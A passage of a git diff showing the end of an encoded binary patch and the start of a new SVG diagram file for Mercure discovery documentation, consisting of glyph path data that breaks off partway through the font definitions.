zXHRNIA+DXRidbP4>Ew%0CYtV;7)Ooj!Y-wrp2uF1L(!NO!|tm^Gj#l37l-(RNGP^8
zSlI4nYnUUcOP#AUWccxQu=!g;)1=f`0XHGmCB!@ZAkpRx%Skr=TK{ZukcS$%Gw)i8
z`ypK)qi(vGKsI;VJ#@|W#_SBPqT+_yiQA_}_n5`n^2)6aUMU>(^Yk5vJ^0J&5uV7L
zCLwUwiyGs1T=UKka6MW~@|a^Ir+2npx|1W_Xq_(-R1k}cJv;O?Q6gWftH0T;!G8I=
zxdnq)$chHu7NH~u8g)?Alm;rGw(Ihnxv59MM_IvAODFqu%2=Lq+ia@Db`b!Sx<bPj
zPd#;&RQh{j*xty>Hv2wr@4DR7pKIG86F$Nn87JO)<6JQz-Rq3*9Z`%kvc-q-<XUh7
zyE0n2vs%UGrR&c?_kQKw2MZ(2GVIn3mHb5>gXkuCVn&G?4@W}DS0~Qk8D!vD?Qdl8
zdV6NrJ%5a_l&h*l4cc|pH#}$x<||)41sjVN?YlgdnnlrTfRAkV-Bwp>?+jf;xX-3R
zlh&7{jmH|ynA5Sfv<@rJUEFH~*MmrW;uU{r^6*s&AXLit=m=UKUTZ0SqA!lOht|#^
zaw(Vjs+;N17F2fhB?-+lEBht)SwnUX1!R$y;Bsh?-rIcG1Ec0<@76weRrWDlVd={l
z@~vPl*+sQr^EaDU5Xg@azw431?<Y9x%)`A`KMLx$ZKoD0iaxz7)App`i{dNo*PhRj
zp;{d6W$bjmHo55pRd6lT0ucnl#l;h_Tt1dvIhMZUg^TUixLhy`_k4qKoxvz<U)}<6
z*HhgE_n@xX?Eo5UJ6JB$0op>DfHl}+sV5=&q&<eR$HLNq46AbNG6kdZzzVDj)3Age
zCys@#4^Fw}*13(>jnCu9vtRdFvZ762IFnlTI2*8T-Wj*KROzMBQ!ylr&(6V*I@=vD
zHV=`L(J{=2r5H9I9<Khf5?0s8#i333wZUtzTyb%-xjG~KaG2X}_~rFyzV_<O>%bZv
z6ogQr;Gc!jk#sRxjrswB9F@V$&v;|cyj5cvJB(z%B&O87F*HEgssQU`*jkG^@5(v^
zuH&mwYVn)Q5$EMU;jVmoZ7Rr<4S+q8y@t@DXU=^WpV(3+iW#zmxF02{moQ1`l%|`?
zo1Azo+0!T#);{XhgbP~LIi+l#^rc7-n$2R6$CocG7tKdBMM3;MXY853dGlQl6t0|y
z38Xk4ad!-|OCASzQwpdY;biC~A?ea>$Y*)V<6QGuJ)2vNBU}6hL=tDT>T<m@i~q5G
z;;-~d6{^rZTeSl%oBt&=uj5fX5CS9imY)^1+)qRmDDPHe74l^?2c&KW2Zw%iwCINt
z;6IWJ*6Z7~b#~q;-6&r4@88cPL8c|MNEWa<Z^2KLjbB1b?_XDF#QVZ^6`T7C$o1aN
z&wymhBZpDaVnPLCHCMs;Hct#$f8#|JCy+*i$&)7||1I%|01^+H-M;X9=W;fxs<8hd
z!~Fue`mk9rNXu@%LvATneSk4*Ec7PbqrU-khPyJ1;?d5AqcKbt|2GpDJ0;?O=uudA
zm`tT+&$1tK9S9gt1y0A>R<hh#a1f96WeL5je1OTc>xQ)KlP;a|T0STF(=v0AhoQgb
z`sLUH7qc)zb0zpVB*0m6|A7fO%t>_%!M3B+a~-z%(3A^&j#9wnWsO~ib0gy#8{DbU
zm?1|0=jXm&n{J(k9=rCo?;N9g@=QNwy-LjCxa>a3$?@5qq|6uT$*@%f&oOgE{{K=Q
z5TT$Hp-h@>ruP0=2^w&8pGHv_TBW>ZJ8f5vtTooyNFwaL6Qi7$F)wrR{>8jX5$f_(
zU(d=aJ`cC3GNZD75p>JTHFrl%2MD9r#jYFP0f3?C-YJq3&`)g#fW>O`Dxyz)O6Pq4
zpwJn23N~SzczQdz+}f`6e+Ro{{GsLG!dBcPRagUx5}ZYRoqM8a3bpmbKoXV&qPA61
z@izoAqI=jY-<xGRE){FQSEQs1pN}RQ`p_w?gR3A~@e3sE<jvp6AllJ;#%iORR@umF
z(bEldB*F8|Ho;kpkv<{s-xxH@%%dHD%|PiV+wHcvSnkDXh*|oQ6Eb0ys<dQa{09_b
z@e#EcAYepN<X@R_*;r68&u4By!dCV4^L6L$mbS<TvE!Q`a><Fhv@S|NkryAi(v;Z=
z@aqo6W+A6NB^{^I%fzLnrr(A*t@l^)cukI$JKKEvOnzVC^gZbX#Oe(8qugttTZ+&_
z^tv<wGn-z7(j!oxlc-y-+B^ep0&LaRe7jqMkMC!%HtWpEVj=J9tOL=3ho&+|DR#Mp
zK^MAoW#G8ZZ?+Idt3lTWMT+OD0KQcr%(!qzCnRJO|I`aoPH#*HaA)bUfB$-=zrPLJ
zsCf}wd@ZN;aKlZbzfx{`pW@m=m&hDCdWTLek&E9uOtIS9^~;Vay&OW-^YVqVA#vk)
z<#$7%H<<od@&OC7jkwxtUmrDy<0fAYZ`S6|iUwT!{AH_~GTWBkJIi~OOX^?x$yHDE
zxHT)Uh7PLYrmjpBw5FAk&4<R0Yd6m=kYOXN$*o%Hu05j9XMp>VqxIhDDCZ83091<M
z1Y1UG(}i;SAK=rB2e&}-8hd%iU%7RHo^s3J@2W?19qk<+Y(K^!K{z+{HVUUsbROIu
kV8@CLy6zjQNzI`!ToZx4%M|4qH-H~0ae1+CFZ4hDKi{M;wg3PC

diff --git a/_images/mercure/discovery.svg b/_images/mercure/discovery.svg
new file mode 100644
index 00000000000..ed18381068a
--- /dev/null
+++ b/_images/mercure/discovery.svg
@@ -0,0 +1,294 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="584pt" height="268pt" viewBox="0 0 584 268" version="1.1">
+<defs>
+<g>
+<symbol overflow="visible" id="glyph0-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-1">
+<path style="stroke:none;" d="M 8.734375 -0.546875 C 8.398438 -0.265625 7.972656 -0.0625 7.453125 0.0625 C 6.941406 0.1875 6.398438 0.25 5.828125 0.25 C 5.109375 0.25 4.441406 0.113281 3.828125 -0.15625 C 3.222656 -0.425781 2.703125 -0.859375 2.265625 -1.453125 C 1.828125 -2.046875 1.484375 -2.804688 1.234375 -3.734375 C 0.992188 -4.671875 0.875 -5.796875 0.875 -7.109375 C 0.875 -8.460938 1.007812 -9.609375 1.28125 -10.546875 C 1.5625 -11.484375 1.929688 -12.242188 2.390625 -12.828125 C 2.859375 -13.410156 3.394531 -13.828125 4 -14.078125 C 4.601562 -14.335938 5.222656 -14.46875 5.859375 -14.46875 C 6.503906 -14.46875 7.039062 -14.421875 7.46875 -14.328125 C 7.894531 -14.234375 8.265625 -14.117188 8.578125 -13.984375 L 8.21875 -12.609375 C 7.945312 -12.753906 7.625 -12.867188 7.25 -12.953125 C 6.882812 -13.035156 6.46875 -13.078125 6 -13.078125 C 5.519531 -13.078125 5.070312 -12.96875 4.65625 -12.75 C 4.238281 -12.539062 3.863281 -12.203125 3.53125 -11.734375 C 3.207031 -11.265625 2.953125 -10.648438 2.765625 -9.890625 C 2.578125 -9.140625 2.484375 -8.210938 2.484375 -7.109375 C 2.484375 -5.128906 2.820312 -3.640625 3.5 -2.640625 C 4.175781 -1.648438 5.078125 -1.15625 6.203125 -1.15625 C 6.660156 -1.15625 7.070312 -1.21875 7.4375 -1.34375 C 7.800781 -1.476562 8.113281 -1.632812 8.375 -1.8125 Z M 8.734375 -0.546875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-2">
+<path style="stroke:none;" d="M 2.765625 -2.421875 C 2.765625 -1.941406 2.828125 -1.597656 2.953125 -1.390625 C 3.085938 -1.191406 3.269531 -1.09375 3.5 -1.09375 C 3.78125 -1.09375 4.113281 -1.171875 4.5 -1.328125 L 4.640625 -0.140625 C 4.460938 -0.0351562 4.210938 0.046875 3.890625 0.109375 C 3.578125 0.179688 3.289062 0.21875 3.03125 0.21875 C 2.507812 0.21875 2.085938 0.0625 1.765625 -0.25 C 1.453125 -0.570312 1.296875 -1.132812 1.296875 -1.9375 L 1.296875 -14.234375 L 2.765625 -14.234375 Z M 2.765625 -2.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-3">
+<path style="stroke:none;" d="M 1.4375 -10.15625 L 2.90625 -10.15625 L 2.90625 0 L 1.4375 0 Z M 1.171875 -13.25 C 1.171875 -13.570312 1.265625 -13.835938 1.453125 -14.046875 C 1.640625 -14.253906 1.878906 -14.359375 2.171875 -14.359375 C 2.472656 -14.359375 2.722656 -14.257812 2.921875 -14.0625 C 3.117188 -13.863281 3.21875 -13.59375 3.21875 -13.25 C 3.21875 -12.925781 3.117188 -12.671875 2.921875 -12.484375 C 2.722656 -12.304688 2.472656 -12.21875 2.171875 -12.21875 C 1.878906 -12.21875 1.640625 -12.3125 1.453125 -12.5 C 1.265625 -12.6875 1.171875 -12.9375 1.171875 -13.25 Z M 1.171875 -13.25 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-4">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-5">
+<path style="stroke:none;" d="M 6.40625 0 L 6.40625 -6.203125 C 6.40625 -7.210938 6.285156 -7.945312 6.046875 -8.40625 C 5.804688 -8.863281 5.382812 -9.09375 4.78125 -9.09375 C 4.238281 -9.09375 3.789062 -8.925781 3.4375 -8.59375 C 3.082031 -8.269531 2.820312 -7.875 2.65625 -7.40625 L 2.65625 0 L 1.203125 0 L 1.203125 -10.15625 L 2.25 -10.15625 L 2.515625 -9.09375 L 2.578125 -9.09375 C 2.835938 -9.457031 3.1875 -9.765625 3.625 -10.015625 C 4.070312 -10.273438 4.597656 -10.40625 5.203125 -10.40625 C 5.640625 -10.40625 6.019531 -10.34375 6.34375 -10.21875 C 6.675781 -10.101562 6.953125 -9.898438 7.171875 -9.609375 C 7.398438 -9.316406 7.570312 -8.925781 7.6875 -8.4375 C 7.800781 -7.945312 7.859375 -7.332031 7.859375 -6.59375 L 7.859375 0 Z M 6.40625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-6">
+<path style="stroke:none;" d="M 0.1875 -10.15625 L 1.421875 -10.15625 L 1.421875 -12.171875 L 2.890625 -12.640625 L 2.890625 -10.15625 L 5.078125 -10.15625 L 5.078125 -8.84375 L 2.890625 -8.84375 L 2.890625 -2.78125 C 2.890625 -2.1875 2.957031 -1.753906 3.09375 -1.484375 C 3.238281 -1.222656 3.472656 -1.09375 3.796875 -1.09375 C 4.066406 -1.09375 4.300781 -1.125 4.5 -1.1875 C 4.695312 -1.25 4.910156 -1.328125 5.140625 -1.421875 L 5.421875 -0.265625 C 5.128906 -0.117188 4.800781 -0.00390625 4.4375 0.078125 C 4.082031 0.171875 3.707031 0.21875 3.3125 0.21875 C 2.632812 0.21875 2.148438 0 1.859375 -0.4375 C 1.566406 -0.875 1.421875 -1.585938 1.421875 -2.578125 L 1.421875 -8.84375 L 0.1875 -8.84375 Z M 0.1875 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-7">
+<path style="stroke:none;" d="M 1.03125 -1.671875 C 1.300781 -1.503906 1.625 -1.363281 2 -1.25 C 2.375 -1.132812 2.757812 -1.078125 3.15625 -1.078125 C 3.601562 -1.078125 3.976562 -1.1875 4.28125 -1.40625 C 4.59375 -1.632812 4.75 -2 4.75 -2.5 C 4.75 -2.914062 4.65625 -3.257812 4.46875 -3.53125 C 4.28125 -3.800781 4.039062 -4.046875 3.75 -4.265625 C 3.457031 -4.484375 3.140625 -4.679688 2.796875 -4.859375 C 2.460938 -5.046875 2.148438 -5.269531 1.859375 -5.53125 C 1.566406 -5.789062 1.328125 -6.09375 1.140625 -6.4375 C 0.953125 -6.789062 0.859375 -7.238281 0.859375 -7.78125 C 0.859375 -8.65625 1.085938 -9.3125 1.546875 -9.75 C 2.015625 -10.1875 2.675781 -10.40625 3.53125 -10.40625 C 4.09375 -10.40625 4.578125 -10.351562 4.984375 -10.25 C 5.390625 -10.15625 5.738281 -10.019531 6.03125 -9.84375 L 5.65625 -8.625 C 5.394531 -8.757812 5.09375 -8.867188 4.75 -8.953125 C 4.414062 -9.046875 4.070312 -9.09375 3.71875 -9.09375 C 3.226562 -9.09375 2.867188 -8.988281 2.640625 -8.78125 C 2.421875 -8.582031 2.3125 -8.265625 2.3125 -7.828125 C 2.3125 -7.484375 2.40625 -7.191406 2.59375 -6.953125 C 2.789062 -6.722656 3.035156 -6.507812 3.328125 -6.3125 C 3.617188 -6.113281 3.929688 -5.910156 4.265625 -5.703125 C 4.609375 -5.503906 4.925781 -5.265625 5.21875 -4.984375 C 5.507812 -4.710938 5.75 -4.382812 5.9375 -4 C 6.125 -3.613281 6.21875 -3.128906 6.21875 -2.546875 C 6.21875 -2.160156 6.15625 -1.796875 6.03125 -1.453125 C 5.914062 -1.117188 5.734375 -0.828125 5.484375 -0.578125 C 5.234375 -0.328125 4.921875 -0.128906 4.546875 0.015625 C 4.171875 0.171875 3.734375 0.25 3.234375 0.25 C 2.640625 0.25 2.125 0.1875 1.6875 0.0625 C 1.25 -0.0507812 0.882812 -0.203125 0.59375 -0.390625 Z M 1.03125 -1.671875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-8">
+<path style="stroke:none;" d="M 1.203125 -1.890625 C 1.453125 -1.710938 1.8125 -1.546875 2.28125 -1.390625 C 2.75 -1.234375 3.28125 -1.15625 3.875 -1.15625 C 4.632812 -1.15625 5.25 -1.34375 5.71875 -1.71875 C 6.195312 -2.09375 6.4375 -2.675781 6.4375 -3.46875 C 6.4375 -4 6.300781 -4.460938 6.03125 -4.859375 C 5.757812 -5.253906 5.421875 -5.613281 5.015625 -5.9375 C 4.609375 -6.269531 4.171875 -6.597656 3.703125 -6.921875 C 3.242188 -7.242188 2.804688 -7.597656 2.390625 -7.984375 C 1.984375 -8.367188 1.644531 -8.8125 1.375 -9.3125 C 1.101562 -9.8125 0.96875 -10.414062 0.96875 -11.125 C 0.96875 -12.257812 1.3125 -13.097656 2 -13.640625 C 2.6875 -14.191406 3.578125 -14.46875 4.671875 -14.46875 C 5.347656 -14.46875 5.953125 -14.40625 6.484375 -14.28125 C 7.015625 -14.164062 7.441406 -14.015625 7.765625 -13.828125 L 7.28125 -12.484375 C 7.03125 -12.628906 6.675781 -12.765625 6.21875 -12.890625 C 5.769531 -13.015625 5.25 -13.078125 4.65625 -13.078125 C 3.925781 -13.078125 3.382812 -12.894531 3.03125 -12.53125 C 2.675781 -12.175781 2.5 -11.726562 2.5 -11.1875 C 2.5 -10.707031 2.632812 -10.285156 2.90625 -9.921875 C 3.175781 -9.554688 3.515625 -9.207031 3.921875 -8.875 C 4.328125 -8.550781 4.765625 -8.222656 5.234375 -7.890625 C 5.703125 -7.566406 6.140625 -7.203125 6.546875 -6.796875 C 6.953125 -6.390625 7.289062 -5.925781 7.5625 -5.40625 C 7.832031 -4.894531 7.96875 -4.285156 7.96875 -3.578125 C 7.96875 -2.378906 7.613281 -1.441406 6.90625 -0.765625 C 6.207031 -0.0859375 5.210938 0.25 3.921875 0.25 C 3.109375 0.25 2.441406 0.171875 1.921875 0.015625 C 1.398438 -0.128906 0.984375 -0.296875 0.671875 -0.484375 Z M 1.203125 -1.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-9">
